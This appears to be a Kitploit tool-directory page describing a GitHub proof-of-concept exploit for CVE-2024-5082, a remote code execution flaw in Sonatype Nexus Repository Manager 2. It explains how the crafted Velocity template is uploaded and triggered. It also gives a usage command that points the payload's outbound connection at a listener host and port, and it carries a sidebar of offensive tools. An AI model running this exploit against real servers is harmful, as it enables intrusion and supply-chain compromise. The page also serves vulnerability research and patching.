Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-5082 — Proof-of-concept exploit for CVE-2024-5082, a remote code execution vulnerability in Sonatype Nexus Repository Manager 2 via crafted Maven artifacts and Velocity template processing. | Kitploit
Tools/GitHubGitHub/h4mr3r/cve-2024-5082
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingSupply Chain SecurityPayload Development
GitHubh4mr3r/cve-2024-5082

CVE-2024-5082

Proof-of-concept exploit for CVE-2024-5082, a remote code execution vulnerability in Sonatype Nexus Repository Manager 2 via crafted Maven artifacts and Velocity template processing.

View Repository
1284 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →
Share

Overview

This repository contains a Python proof of concept for CVE-2024-5082, a remote code execution vulnerability in Sonatype Nexus Repository Manager 2.

The vulnerability allows a user with sufficient permission to publish a specially crafted Maven artifact and mark it for processing by the Velocity content generator. When the artifact is retrieved, the embedded Velocity template is evaluated by Nexus and may execute a command in the security context of the Nexus JVM.

According to Sonatype:

  • affected versions include Nexus Repository Manager 2.x up to and including 2.15.1;
  • the issue was fixed in 2.15.2;
  • Nexus Repository 2 reached end of life on June 30, 2025 and should be migrated to Nexus Repository 3.

Important scope clarification

The command is executed on the Nexus Repository host.

Downloading the affected artifact from a build server, application server, or developer workstation does not by itself execute the embedded command on that consuming system. However, compromise of a repository manager may create broader supply-chain risk if an attacker later modifies trusted artifacts, build inputs, credentials, or repository configuration.

How the PoC works

The script:

  1. Generates a unique marker path under a Maven-style namespace.
  2. Uploads a crafted maven-metadata.xml file to a selected hosted repository.
  3. Updates the corresponding Nexus attributes so that the content generator is set to velocity.
  4. Retrieves the uploaded artifact, causing Nexus to process the template.
  5. Attempts to remove the uploaded marker artifact during cleanup.

The supplied payload creates an outbound TCP connection from the Nexus host to the configured listener address.

Authentication and permissions

The current script uses HTTP Basic Authentication and requires:

  • a valid Nexus username and password;
  • permission to create or update content in the selected repository;
  • permission for the attribute update used by the PoC.

Usage

python3 cve_2024_5082.py \\
  --base-url https://nexus.example.test/nexus \\
  --repository security-test-snapshots \\
  --username test-user \\
  --password 'REDACTED' \\
  --lhost LISTENER_IP \\
  --lport 8000
Download Tool